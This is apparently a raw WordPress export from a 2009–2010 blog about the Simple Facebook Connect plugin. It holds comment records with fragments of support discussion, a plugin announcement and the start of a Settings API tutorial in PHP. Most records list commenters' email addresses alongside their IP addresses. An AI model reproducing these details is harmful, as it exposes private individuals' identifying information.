2010-02-12 17:19:51 1 7587 0 7589 yes2kwasi@hotmail.com http://www.facebook.com/kwasi.cook 72.85.1.112 2010-02-12 13:42:35 2010-02-12 19:42:35 1 0 0 7590 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-12 13:45:23 2010-02-12 19:45:23 1 7589 1 7608 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 08:45:19 2010-02-15 14:45:19 1 7601 1 7592 sahas@skattertech.com http://www.facebook.com/sahaskatta 67.172.181.124 2010-02-12 20:15:20 2010-02-13 02:15:20 1 0 0 7598 jez.cope@gmail.com http://erambler.co.uk/ 91.110.178.162 2010-02-13 02:16:51 2010-02-13 08:16:51 json_encode was trying to set headers after output had begun, causing a warning to be spewed out inside a piece of Javascript. Digging around, json_encode is implemented by Services_JSON->encode since Wordpress 2.9, if it's not already available in PHP (i.e. in PHP < 5.2.0). There's also a Services_JSON->encodeUnsafe which doesn't try to alter the headers. Looks like it's a side effect of the particular combination of versions of Wordpress and PHP I have installed. Not sure how much you can do about it since Services_JSON is only available in Wordpress >= 2.9.]]> 1 7577 0 7599 jez.cope@gmail.com http://www.facebook.com/jezcope 91.110.178.162 2010-02-13 02:43:02 2010-02-13 08:43:02 1 7598 0 7600 otto@ottodestruct.com http://ottodestruct.com 75.64.201.27 2010-02-13 11:23:07 2010-02-13 17:23:07 1 7599 1 7601 ottodestruct@kefski.com http://www.heidijanetwright.com/write 96.247.28.17 2010-02-13 17:25:32 2010-02-13 23:25:32 1 0 0 7606 aaron.yates@standoutuk.com 217.36.249.122 2010-02-15 04:01:24 2010-02-15 10:01:24 1 0 0 7607 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 08:42:34 2010-02-15 14:42:34 Your Profile section to connect the two accounts. The Publish plugin adds two new boxes to your Edit Posts area. Look for them towards the bottom. You can move their box around on the page. The Share plugin can auto-add itself to your posts, if you want. There's an option on the config page to do that. Most of the rest of the plugins are widgets. You'd need to go to Appearance->Widgets to place them on your page.]]> 1 7606 1 7611 aaron.yates@standoutuk.com 217.36.249.122 2010-02-15 09:06:42 2010-02-15 15:06:42 1 7607 0 7612 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 09:10:23 2010-02-15 15:10:23 1 7611 1 7613 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 09:12:01 2010-02-15 15:12:01 1 7611 1 7614 aaron.yates@standoutuk.com 217.36.249.122 2010-02-15 09:19:49 2010-02-15 15:19:49 1 7613 0 7615 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 09:22:56 2010-02-15 15:22:56 1 7614 1 7616 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-15 10:54:55 2010-02-15 16:54:55 1 0 0 7617 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 10:59:28 2010-02-15 16:59:28 1 7616 1 7618 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-15 11:37:37 2010-02-15 17:37:37 1 7617 0 7619 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 11:42:55 2010-02-15 17:42:55 1 7618 1 7620 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-15 13:08:30 2010-02-15 19:08:30 1 7619 0 7621 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 13:23:57 2010-02-15 19:23:57 1 7620 1 7622 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-15 13:38:58 2010-02-15 19:38:58 1 7621 0 7627 ottodestruct@synaptic.bc.ca http://www.mymusemoviesmusicandbooks.com/category/books/ 207.81.24.145 2010-02-17 01:05:32 2010-02-17 07:05:32 1 0 0 7628 tschwim@hotmail.com http://www.facebook.com/gamingangel 71.105.80.121 2010-02-17 01:07:41 2010-02-17 07:07:41 1 0 0 7629 ajeshshah@gmail.com 123.237.41.202 2010-02-17 04:13:09 2010-02-17 10:13:09 1 0 0 7630 fred@2111.it 87.4.23.245 2010-02-17 04:21:56 2010-02-17 10:21:56 1 0 0 7631 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-17 08:25:47 2010-02-17 14:25:47 1 7627 1 7632 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-17 08:26:11 2010-02-17 14:26:11 1 7628 1 7633 psychicventures@gmail.com http://alumni.mum.edu 173.27.221.35 2010-02-17 08:27:00 2010-02-17 14:27:00 1 0 0 7634 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-17 08:27:05 2010-02-17 14:27:05 1 7629 1 7635 otto@ottodestruct.com http://www.facebook.com/otto42 169.198.254.6 2010-02-17 08:30:10 2010-02-17 14:30:10 1 7633 0 7636 tschwim@hotmail.com http://www.facebook.com/gamingangel 71.105.80.121 2010-02-17 10:40:16 2010-02-17 16:40:16 1 7632 0 7637 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-17 10:43:30 2010-02-17 16:43:30 1 7636 1 7638 ottodestruct@synaptic.bc.ca http://www.mymusemoviesmusicandbooks.com/category/books/ 207.81.24.145 2010-02-17 14:00:14 2010-02-17 20:00:14 1 7631 0 7639 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-17 14:59:51 2010-02-17 20:59:51 who are also Fans of the Page will see the post. However, you're right in that the only option that really makes sense is "Everyone". Unfortunately, I don't have any control over this either. Facebook generates the content of that frame, not the plugin. There's no option for me to set the default or to hide the privacy settings. It gets worse: If you use the automatic publish, the default privacy setting gets used. You can change your default by going to your Privacy settings and looking for the one about "Posts to Wall".]]> 1 7638 1 7640 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-17 17:13:11 2010-02-17 23:13:11 1 7638 1 7641 ottodestruct@synaptic.bc.ca http://www.mymusemoviesmusicandbooks.com/category/books/ 207.81.24.145 2010-02-17 19:15:40 2010-02-18 01:15:40 1 7639 0 7642 tschwim@hotmail.com http://www.facebook.com/gamingangel 71.105.80.121 2010-02-17 23:50:47 2010-02-18 05:50:47 1 7637 0 7643 fred@2111.it 87.4.23.245 2010-02-18 07:37:45 2010-02-18 13:37:45 1 7630 0 7644 ajeshshah@gmail.com 123.237.41.202 2010-02-18 08:03:30 2010-02-18 14:03:30 1 7634 0 7645 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-18 08:27:23 2010-02-18 14:27:23 1 7643 1 7646 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-18 08:30:59 2010-02-18 14:30:59 1 7642 1 7647 fred@2111.it 87.4.23.245 2010-02-18 08:50:18 2010-02-18 14:50:18 1 7645 0 7648 psychicventures@gmail.com http://alumni.mum.edu 209.152.117.83 2010-02-18 11:16:19 2010-02-18 17:16:19 1 0 0 7649 psychicventures@gmail.com http://alumni.mum.edu 69.18.50.2 2010-02-18 11:24:20 2010-02-18 17:24:20 1 7635 0 7650 lushellemj@hotmail.com http://www.michelleannejohnson.com 69.231.81.3 2010-02-18 11:43:12 2010-02-18 17:43:12 1 0 0 7651 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-18 11:45:23 2010-02-18 17:45:23 1 7650 1 7652 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-18 11:48:38 2010-02-18 17:48:38 1 7648 1 7653 ulrik.johansson@gmail.com 83.249.28.214 2010-02-18 13:59:43 2010-02-18 19:59:43 1 0 0 7654 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-18 14:05:08 2010-02-18 20:05:08 1 7653 1 7655 psychicventures@gmail.com http://alumni.mum.edu 76.76.228.118 2010-02-18 14:11:31 2010-02-18 20:11:31 1 7652 0 7656 ulrik.johansson@gmail.com 83.249.28.214 2010-02-18 16:46:42 2010-02-18 22:46:42 over on : I had a look through the readme ...." If not possible, is this something I could request for a future version? =) Btw, I can't get your facebook connect to work for me. I can't click the submit button when I've used the "connect with facebook" button to log in. It's like the button is not active, like a static image.. It works fine when I log out and reload the page and add the comment without logging in via facebook connect. Is this something others have had problems with? I'm using Google Chrome 5.0.322.2]]> 1 7654 0 7657 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-18 16:52:06 2010-02-18 22:52:06 1 7656 1 7701 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 17:24:32 2010-02-20 23:24:32 1 7700 1 7669 matthew@ellisfamily.tk http://snat.co.uk 92.16.126.199 2010-02-19 16:05:29 2010-02-19 22:05:29 1 0 0 7670 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-19 16:10:05 2010-02-19 22:10:05 1 7669 1 7671 michaelpeerman@gmail.com 68.53.2.10 2010-02-19 16:19:50 2010-02-19 22:19:50 1 7670 0 7672 matthew@ellisfamily.tk http://snat.co.uk 92.16.126.199 2010-02-19 16:26:12 2010-02-19 22:26:12 1 7670 0 7673 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-19 16:28:25 2010-02-19 22:28:25 1 7672 1 7674 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-19 16:30:49 2010-02-19 22:30:49 1 7672 1 7675 matthew@ellisfamily.tk http://snat.co.uk 92.16.126.199 2010-02-19 16:30:51 2010-02-19 22:30:51 1 7673 0 7676 michaelpeerman@gmail.com 68.53.2.10 2010-02-19 16:32:58 2010-02-19 22:32:58 1 7674 0 7677 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-19 16:33:09 2010-02-19 22:33:09 1 7674 1 7678 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-19 16:35:10 2010-02-19 22:35:10 1 7676 1 7679 matthew@ellisfamily.tk http://snat.co.uk 92.16.126.199 2010-02-19 16:36:19 2010-02-19 22:36:19 1 7677 0 7680 matthew@ellisfamily.tk http://snat.co.uk 92.16.126.199 2010-02-19 16:40:11 2010-02-19 22:40:11 1 7677 0 7681 michaelpeerman@gmail.com 68.53.2.10 2010-02-19 16:42:37 2010-02-19 22:42:37 1 0 0 7682 michaelpeerman@gmail.com 68.53.2.10 2010-02-19 16:43:28 2010-02-19 22:43:28 1 0 0 7683 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-19 16:44:59 2010-02-19 22:44:59 1 7682 1 7685 michbern@gmail.com http://www.gifttreeblog.com 112.198.246.22 2010-02-20 00:16:18 2010-02-20 06:16:18 1 0 0 7687 uleven@gmail.com http://www.uleven.com 60.52.8.180 2010-02-20 01:58:45 2010-02-20 07:58:45 1 0 0 7689 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 07:27:32 2010-02-20 13:27:32 1 0 0 7691 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 08:01:16 2010-02-20 14:01:16 1 0 0 7692 psychicventures@gmail.com http://alumni.mum.edu 173.27.221.35 2010-02-20 16:46:58 2010-02-20 22:46:58 1 0 0 7693 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 16:50:34 2010-02-20 22:50:34 1 7687 1 7695 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 16:53:53 2010-02-20 22:53:53 1 7689 1 7696 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 16:55:59 2010-02-20 22:55:59 1 7691 1 7697 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 16:56:37 2010-02-20 22:56:37 1 0 1 7699 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 17:05:25 2010-02-20 23:05:25 1 7696 0 7700 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 17:15:11 2010-02-20 23:15:11 1 7695 0 7703 otto@ottodestruct.com http://ottodestruct.com 68.221.144.182 2010-02-20 17:26:24 2010-02-20 23:26:24 1 7699 1 7704 admin@beerpla.net http://beerpla.net 76.126.68.79 2010-02-20 17:41:50 2010-02-20 23:41:50 1 7703 0 7706 mossack.anme@gmail.com http://www.mossackanme.web.id/tutorial/ 114.56.223.58 2010-02-21 05:09:15 2010-02-21 11:09:15 my blog, the FBConnect button is not loaded in my comment area. If I see the page source, I find , but the button isn't loaded successfully. Why?]]> 1 0 0 7712 lakozapamtis@gmail.com 93.139.14.176 2010-02-22 07:16:22 2010-02-22 13:16:22 1 0 0 7713 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-22 08:20:35 2010-02-22 14:20:35 1 7706 1 7714 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-22 08:22:42 2010-02-22 14:22:42 1 7704 1 7715 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-22 08:23:57 2010-02-22 14:23:57 1 7685 1 7716 heikki.skytta@whitewall.fi http://www.heikkiskytta.net/ 80.221.173.202 2010-02-22 16:46:21 2010-02-22 22:46:21 1 0 0 7717 bc@edievents.com http://www.edievents.com/blog 98.14.17.185 2010-02-22 17:03:04 2010-02-22 23:03:04 1 0 0 7718 mossack.anme@gmail.com http://www.mossackanme.web.id/tutorial/ 114.56.204.55 2010-02-22 17:39:45 2010-02-22 23:39:45 1 7713 0 7719 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-23 12:46:19 2010-02-23 18:46:19 1 7712 1 7720 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-23 12:54:45 2010-02-23 18:54:45 1 7716 1 7724 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-23 14:38:30 2010-02-23 20:38:30 1 7718 1 7730 eric@6d6design.com http://ejhansel.com 71.34.185.95 2010-02-24 21:47:54 2010-02-25 03:47:54 1 0 0 7731 eliecassat@gmail.com 69.165.169.176 2010-02-24 23:26:37 2010-02-25 05:26:37 1 0 0 7732 http://sentaiconsulting.wordpress.com/2010/02/25/herramientas-sociales-para-potenciar-tu-web-o-blog/ 72.233.96.168 2010-02-25 06:17:09 2010-02-25 12:17:09 1 pingback 0 0 7733 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-25 08:04:32 2010-02-25 14:04:32 1 7730 1 7734 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-25 08:08:43 2010-02-25 14:08:43 is a fan page, sorta. It's like a Fan Page with all the application stuff tacked on. Applications have Walls, they can have Fans, they have tabs you can add stuff to... Basically an Application can be your Fan Page, for all intents and purposes. Just like mine is: http://www.facebook.com/apps/application.php?id=116002660893 That's just an Application. No Fan Page. But it works just like one, basically.]]> 1 7717 1 7735 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-25 08:11:28 2010-02-25 14:11:28 1 7731 1 7737 casey.becking@quiksilver.com 207.213.48.3 2010-02-25 11:41:17 2010-02-25 17:41:17 1 0 0 7738 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-25 11:44:08 2010-02-25 17:44:08 1 7737 1 7741 youshop@gmail.com 81.207.9.180 2010-02-25 16:02:10 2010-02-25 22:02:10 1 0 0 7742 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-25 16:15:48 2010-02-25 22:15:48 1 7741 1 7743 youshop@gmail.com 81.207.9.180 2010-02-25 16:35:57 2010-02-25 22:35:57 1 7742 0 7744 youshop@gmail.com 81.207.9.180 2010-02-25 16:40:17 2010-02-25 22:40:17 1 7743 0 7745 info@amdesignsint.com 190.213.30.134 2010-02-25 20:10:48 2010-02-26 02:10:48 1 0 0 7747 hamed@hemmati.us 64.167.187.211 2010-02-26 12:34:42 2010-02-26 18:34:42 1 0 0 7748 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-26 12:38:17 2010-02-26 18:38:17 1 7747 1 7749 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-26 12:40:18 2010-02-26 18:40:18 1 7744 1 7750 hamed@hemmati.us 64.167.187.211 2010-02-26 13:19:15 2010-02-26 19:19:15 1 7748 0 7751 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-26 14:12:22 2010-02-26 20:12:22 1 7750 1 7752 spenceelliott@gmail.com http://www.thebrobies.com 72.177.93.175 2010-02-26 18:46:18 2010-02-27 00:46:18 1 0 0 7754 whatisyourquest@fake.twitter.com http://twitter.com/whatisyourquest 217.132.151.6 2010-02-27 00:00:57 2010-02-27 06:00:57 1 0 0 7756 jamessadri@gmail.com 87.194.61.41 2010-02-27 05:58:19 2010-02-27 11:58:19 1 7752 0 7757 jamessadri@gmail.com 87.194.61.41 2010-02-27 05:59:02 2010-02-27 11:59:02 1 7752 0 7758 info@amdesignsint.com 190.213.30.134 2010-02-27 09:40:37 2010-02-27 15:40:37 1 0 0 7759 spenceelliott@gmail.com 72.177.93.175 2010-02-27 12:17:18 2010-02-27 18:17:18 1 7752 0 7762 http://www.inpropriapersona.com/2010/02/six-more-of-the-best-wordpress-plugins/ 69.163.138.48 2010-02-28 14:57:22 2010-02-28 20:57:22 1 pingback 0 0 7769 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-03-01 09:36:28 2010-03-01 15:36:28 1 7622 0 7770 wordpress@bobbybryant.org 74.244.2.15 2010-03-01 10:49:22 2010-03-01 16:49:22 1 0 0 7771 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-01 10:54:15 2010-03-01 16:54:15 1 7770 1 7772 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-01 10:55:23 2010-03-01 16:55:23 1 7752 1 7773 patrik.bona@mrhead.sk http://www.mrhead.sk/ 89.173.86.212 2010-03-01 15:22:20 2010-03-01 21:22:20 1 0 0 7774 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-01 15:41:13 2010-03-01 21:41:13 1 7773 1 7775 patrik.bona@mrhead.sk http://www.mrhead.sk/ 89.173.86.212 2010-03-02 07:20:10 2010-03-02 13:20:10 1 7774 0 7776 incorrigibleg@gmail.com http://blog.riverc.org 72.81.192.152 2010-03-02 12:30:26 2010-03-02 18:30:26 1 0 0 7777 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-02 12:44:46 2010-03-02 18:44:46 1 7776 1 7778 incorrigibleg@gmail.com http://blog.riverc.org 72.81.192.152 2010-03-02 13:30:23 2010-03-02 19:30:23 1 7777 0 7779 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-02 13:43:00 2010-03-02 19:43:00 1 7778 1 7780 incorrigibleg@gmail.com http://blog.riverc.org 72.81.192.152 2010-03-02 15:37:53 2010-03-02 21:37:53 1 7779 0 7782 drew@cooklikeyourgrandmother.com http://cooklikeyourgrandmother.com 75.10.128.134 2010-03-02 22:01:48 2010-03-03 04:01:48 1 0 0 7784 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-03 08:41:40 2010-03-03 14:41:40 1 7782 1 7787 drew@cooklikeyourgrandmother.com http://cooklikeyourgrandmother.com 75.10.128.134 2010-03-03 15:59:01 2010-03-03 21:59:01 1 7784 0 7788 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-03 16:11:14 2010-03-03 22:11:14 not optional. Nothing works if you don't have an Application. The Fan Page is optional. The Application is not.]]> 1 7787 1 7789 tomcat.allie@gmail.com 70.156.180.14 2010-03-03 16:17:02 2010-03-03 22:17:02 1 0 0 7790 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-03 16:19:36 2010-03-03 22:19:36 1 7789 1 7791 tomcat.allie@gmail.com 70.156.180.14 2010-03-03 16:34:20 2010-03-03 22:34:20 1 7790 0 7792 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-03 16:43:47 2010-03-03 22:43:47 1 7791 1 7793 tomcat.allie@gmail.com 70.156.180.14 2010-03-03 16:48:24 2010-03-03 22:48:24 1 7792 0 7794 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-03 16:51:16 2010-03-03 22:51:16 1 7793 1 7795 drew@cooklikeyourgrandmother.com http://cooklikeyourgrandmother.com 75.10.128.134 2010-03-03 17:34:45 2010-03-03 23:34:45 1 7788 0 7797 kristina@prettyshinysparkly.com http://www.prettyshinysparkly.com 99.29.118.244 2010-03-04 00:22:04 2010-03-04 06:22:04 1 0 0 7802 msierant@gmail.com http://pasted.pl 194.126.238.133 2010-03-04 03:43:10 2010-03-04 09:43:10 if ($_GET['sfc-fanbox-css']) { ?> replace it with that line: if ($_GET['sfc-fanbox-css']) { ]]> 1 7797 0 7817 drew@cooklikeyourgrandmother.com http://cooklikeyourgrandmother.com 75.10.128.134 2010-03-04 12:45:59 2010-03-04 18:45:59 1 7816 0 7813 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 08:48:35 2010-03-04 14:48:35 REQUIRES at least version 2.9.1 of WordPress. I don't put in any support for older versions, and has_post_thumbnail() was introduced in WordPress version 2.9.0. I removed the comments above all mentioning the same two errors, to eliminate clutter. Version 0.14 available here will fix the problem. If this is somehow preventing you from logging in, then FTP to your site and remove or rename the sfc-fan-box-widget.php file. That will deactivate it and get you back in. Or, FTP and just upgrade it manually with the fixed file from version 0.14. ]]> 1 0 1 7814 drew@cooklikeyourgrandmother.com http://cooklikeyourgrandmother.com 75.10.128.134 2010-03-04 09:48:59 2010-03-04 15:48:59 1 7813 0 7815 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 09:59:25 2010-03-04 15:59:25 1 7814 1 7816 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 10:02:52 2010-03-04 16:02:52 1 7814 1 7820 smiling.dream@yahoo.com http://smiling-dream.info 202.56.7.82 2010-03-04 13:55:28 2010-03-04 19:55:28 1 0 0 7821 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 14:06:44 2010-03-04 20:06:44 1 7820 1 7822 calvin@westout.com http://www.westout.com 71.170.81.16 2010-03-04 14:14:54 2010-03-04 20:14:54 1 0 0 7823 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-03-04 14:31:45 2010-03-04 20:31:45 1 7821 0 7824 smiling.dream@yahoo.com http://smiling-dream.info 202.56.7.82 2010-03-04 14:38:59 2010-03-04 20:38:59 1 7823 0 7825 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 15:38:54 2010-03-04 21:38:54 1 7824 1 7826 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 15:40:51 2010-03-04 21:40:51 1 7822 1 7827 calvin@westout.com http://www.westout.com 71.170.81.16 2010-03-04 15:45:21 2010-03-04 21:45:21 1 7826 0 7828 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-04 15:48:00 2010-03-04 21:48:00 1 7827 1 7829 calvin@westout.com http://www.westout.com 71.170.81.16 2010-03-04 15:50:38 2010-03-04 21:50:38 1 7828 0 7834 http://ottopress.com/2009/11/wordpress-settings-api-tutorial/ 64.202.163.10 2010-03-04 16:29:30 2010-03-04 22:29:30 1 pingback 0 0 7836 jani@mummila.net http://mummila.net/marginaali/ 81.17.198.101 2010-03-05 05:03:05 2010-03-05 11:03:05 1 7823 0 7837 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-03-05 08:22:07 2010-03-05 14:22:07 1 7836 0 7838 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-05 08:30:20 2010-03-05 14:30:20 1 7837 1 7841 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-03-05 09:05:14 2010-03-05 15:05:14 1 7838 0 7842 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-05 09:14:39 2010-03-05 15:14:39 1 7841 1 7844 richard@richardmilne.net http://richardmilne.net,blog.richardmilne.net 87.194.92.196 2010-03-06 17:37:42 2010-03-06 23:37:42 1 0 0 7845 calvin@westout.com http://www.westout.com 71.170.81.16 2010-03-06 18:55:25 2010-03-07 00:55:25 1 0 0 7846 calvin@westout.com http://www.westout.com 71.170.81.16 2010-03-06 19:11:18 2010-03-07 01:11:18 1 7845 0 7858 ricardomilnio@gmail.com http://www.facebook.com/rjgmilne 87.194.92.196 2010-03-08 15:11:42 2010-03-08 21:11:42 1 7855 0 7848 miljenko@hajdarovic.com http://hajdarovic.com 93.140.75.199 2010-03-07 07:23:28 2010-03-07 13:23:28 Fatal error: Call to protected method FacebookRestClient::get_uid() from context ” in /wp-content/plugins/simple-facebook-connect/sfc-publish.php on line 384]]> 1 7823 0 7849 ottodestruct@synaptic.bc.ca http://www.mymusemoviesmusicandbooks.com/category/books/ 207.81.24.145 2010-03-07 07:50:59 2010-03-07 13:50:59 1 0 0 7855 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-08 09:03:12 2010-03-08 15:03:12 right before the ending tag.]]> 1 7844 1 7856 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-08 09:07:51 2010-03-08 15:07:51 1 7849 1 7857 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-08 09:08:37 2010-03-08 15:08:37 1 7848 1 7861 calvin@westout.com http://www.westout.com 71.170.81.16 2010-03-08 22:57:29 2010-03-09 04:57:29 1 7816 0 7862 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-09 08:23:07 2010-03-09 14:23:07 1 7861 1 7864 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-09 10:01:19 2010-03-09 16:01:19 1 0 1
    Simple Facebook Connect http://ottodestruct.com/blog/2009/simple-facebook-connect/ Tue, 27 Oct 2009 15:47:41 +0000 http://ottodestruct.com/blog/?p=579 Simple Facebook Connect. Short list of current features:
    • Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.
    • Share button, with meta support.
    • User status widget
    • Comment using Facebook Identity (alpha, not operational, for testing only, will be working soon).
    Like most things I announce early, it's not fully featured yet. I'm modifying and adding onto it as I go along, so expect a lot of updates to show up in the plugin list if you use it. And if you have ideas for how to improve it, please email them to me. :)]]>
    579 2009-10-27 10:47:41 2009-10-27 15:47:41 open open simple-facebook-connect publish 0 0 post 0 aktt_notify_twitter yes _edit_lock 1258400565 _edit_last 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_post a:6:{s:2:"ID";s:3:"579";s:13:"post_date_gmt";s:19:"2009-10-27 15:47:41";s:23:"initial_import_date_gmt";s:19:"2009-10-27 15:50:10";s:20:"last_import_date_gmt";s:19:"2009-11-16 12:00:11";s:4:"hits";s:1:"2";s:6:"misses";s:3:"243";} btc_twitter 6949 btc_twitter 6951 _aktt_hash_meta aktt_tweeted 1 6950 718653202@facebook.com http://www.facebook.com/profile.php?id=718653202 87.83.15.200 2009-10-28 10:35:07 2009-10-28 15:35:07 1 0 0 6949 http://twitter.com/jungleglinks 2009-10-27 11:18:06 2009-10-27 16:18:06 Simple Facebook Connect http://j.mp/3urQpn

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    6951 http://twitter.com/WPChick 2009-10-28 12:00:52 2009-10-28 17:00:52 Simple Facebook Connect: Working on a new WordPress plugin lately. It’s basically a simple and e.. http://bit.ly/VBYHP
    #wordpress

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    6953 628321278@facebook.com http://www.facebook.com/profile.php?id=628321278 65.33.196.177 2009-10-30 20:37:27 2009-10-31 01:37:27 1 0 0 6954 matt@theiowablog.com http://theiowablog.com 173.21.223.22 2009-11-01 08:18:56 2009-11-01 14:18:56 1 0 0 6956 704475403@facebook.com http://www.facebook.com/profile.php?id=704475403 174.16.138.25 2009-11-01 17:09:01 2009-11-01 23:09:01 1 0 0 6957 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-02 08:44:03 2009-11-02 14:44:03 1 6954 1 7852 elmailderulo@gmail.com http://wordpress.org/support/topic/373077 189.217.234.127 2010-03-07 16:03:06 2010-03-07 22:03:06 1 0 0
    WordPress Settings API Tutorial http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/ Tue, 03 Nov 2009 22:49:55 +0000 http://ottodestruct.com/blog/?p=583 http://ottopress.com/2009/wordpress-settings-api-tutorial/. Take your comments there. When writing the Simple Facebook Connect plugin, I investigated how the Settings API worked. It's relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use. It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion about nonces or anything along those lines. However, it's slightly more difficult to use in that there's very little good documentation for it. Especially for the most common case: Making your own settings page. So, here is my little documentation attempt.

    Making your own settings page

    First, add yourself an options page. Code to do that: [php] <?php // add the admin options page add_action('admin_menu', 'plugin_admin_add_page'); function plugin_admin_add_page() { add_options_page('Custom Plugin Page', 'Custom Plugin Menu', 'manage_options', 'plugin', 'plugin_options_page'); } ?> [/php] What this does is quite simple, really: a. It adds a link under the settings menu called "Custom Plugin Menu". b. When you click it, you go to a page with a title of "Custom Plugin Page". c. You must have the "manage_options" capability to get there though (admins only). d. The link this will be will in fact be /wp-admin/options-general.php?page=plugin (so "plugin" needs to be something only you will use). e. And the content of the page itself will be generated by the "plugin_options_page" function. Oh wait, we need that function! Let's go ahead and create that, shall we? [php] <?php // display the admin options page function plugin_options_page() { ?> <div> <h2>My custom plugin</h2> Options relating to the Custom Plugin. <form action="options.php" method="post"> <?php settings_fields('plugin_options'); ?> <?php do_settings_sections('plugin'); ?> <input name="Submit" type="submit" value="<?php esc_attr_e('Save Changes'); ?>" /> </form></div> <?php }?> [/php] Hang on a minute, where's all the options? Well, here's where the Settings API kicks in a bit. Up to 